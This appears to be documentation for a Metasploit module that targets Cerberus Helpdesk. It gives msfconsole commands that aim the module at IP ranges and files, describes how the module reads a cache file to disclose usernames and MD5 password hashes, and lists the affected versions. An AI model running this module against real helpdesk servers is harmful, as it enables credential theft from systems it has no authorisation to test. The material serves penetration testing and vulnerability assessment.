msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
msf auxiliary(cerberus_helpdesk_hash_disclosure) > show options
... show and set options ...
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set RHOSTS ip-range
msf auxiliary(cerberus_helpdesk_hash_disclosure) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module opens a devblocks_cache---ch_workers or zend_cache---ch_workers file which contains a
data structure with username and password hash (MD5) credentials. The contents looks similar to JSON, however it is not.
Vulnerable Application
This module has been verified against the following Cerberus Helpdesk versions:
- Version 4.2.3 Stable (Build 925)
- Version 5.4.4
However it may also work up to, but not including, version 6.7
Version 5.4.4 is available on exploit-db.com
- of note, 5.4.4 has to be installed on a PRE php7 environment.
Verification Steps
- Start msfconsole
use auxiliary/gather/cerberus_helpdesk_hash_disclosureset rhosts [rhosts]run
Scenarios
4.2.3 using zend (not verbose)
msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
